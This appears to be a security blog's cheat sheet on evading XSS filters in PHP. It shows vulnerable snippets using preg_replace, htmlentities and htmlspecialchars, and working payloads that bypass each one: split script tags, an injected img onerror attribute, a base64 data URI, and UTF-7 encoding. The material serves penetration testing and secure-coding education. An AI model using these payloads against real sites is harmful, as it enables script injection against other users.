XSS Filter Evasion Cheat Sheet

This XSS cheat sheet highlights the best tricks to bypass a Cross Site Scripting filter.

Introduction

Cross-site scripting (XSS) is one of the three most exploited security vulnerability on the web.
A XSS vulnerability enables attackers to inject client-side script into a Web page viewed by other users.

Although it's a client-side attack it can be critical and lead to a full compromise.
Unfortunately XSS vulnerabilities are often misunderstood and overlooked.

Along the years pentesters have developed stealth tricks to evade XSS filters.
This cheat sheet is focused on providing guidance against these filters.

PHP XSS filters evasion

PHP is probably the most popular server-side scripting language designed for online web development.

By default PHP doesn't escape HTML tags from user controlled input.
If the developer of a web application doesn't properly sanitize user controlled input, it can lead to a vulnerability.

str_replace, preg_replace

Some developers are using the str_replace or preg_replace functions to remove <script> tags.
This is bad practice because other HTML tags such as <img> or <svg> can execute JavaScript without user interaction.

The trick to evade a replace filter is to understand how it works and to take advantage of its weakness.

The code below takes the author parameter, remove all occurrences of script no matter what the case is and print the result.

<?php
    echo 'Author: ' . preg_replace('/script/i', '', $_GET['author']);
    /*
    Example output for …?author=Alice
    Author: Alice
    */
?>

An attacker can easily leverage this vulnerable code by splitting the tag.
The output for …?author=<scrSCRIPTipt>alert('XSS')</scrSCRIPTipt> is Author: <script>alert('XSS')</script> and the script will execute.

htmlentities

Using htmlentities is a far better choice, but in some situations it can still lead to a vulnerability.

The code below takes the user parameter, removes all occurrences of script and prints the result.

<?php
    echo "Profile picture <img alt='Profile' src='/profiles/".htmlentities($_GET["user"]).".jpg' />";
    /*
    Example output for …?user=Bob
    Profile picture <img alt='Profile' src='/profiles/Bob.jpg' />
    */
?>

By default the htmlentities function doesn't convert single quotes to HTML character entities.
Then we can use the onerror property of the img tag to execute JavaScript.

The request to …?user=x' onerror='alert("XSS") will set the src of the img tag to x.
Because the picture doesn't exists the onerror event is triggered and the attacker code will execute.

Data URIs

The data URI scheme is a (Uniform Resource Identifier) scheme that provides a way to include data in-line in web pages as if they were external resources.

Data URI syntax

The syntax of data URIs was defined RFC 2397, published in August 1998.
data:[<media type>][;charset=<character set>][;base64],<data>

HTML example

An HTML fragment embedding a picture of Wiremask.

<img src="data:image/bmp;base64,Qk1+AAAAAAAAAD4AAAAoAAAAPAAAAAgAAAABAAEAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wDOduQTZPIbkM52zPIm99swxHbM8iYHynCUNhzypmcYcJW2zDCHbjjwsbbs8ccO+nCxtuzxx477MDmWDDHnnhuQ" alt="wiremask" />

Exploitation

Data URIs can be used with just a few HTML tags.

  • <a>
  • <iframe>
  • <img>
  • <object>

The code below takes the video parameter, converts all special characters to HTML entities with the htmlspecialchars function and prints the result.

<?php
    echo 'Video: <object width="800" height="600" data="'.htmlspecialchars($_GET['video']).'"></object>';
    /*
    Example output for ?video=Wizzy.swf
    Video: <object width="800" height="600" data="Wizzy.swf"></object>
    */
?>

An attacker can encode the payload <script>alert("XSS")</script> to Base64 and create an URL …?video=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=.
The media type of the Data URI is set to text/html which means that the object will decode the Base64 encoded payload and execute its content.

UTF-7 encoding

There is another way to exploit XSS vulnerabilities through htmlentities and htmlspecialchars.
If the page encoding is UTF-7 or if the attacker is able to control the page encoding, then the following UTF-7 encoded payload +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4- will execute.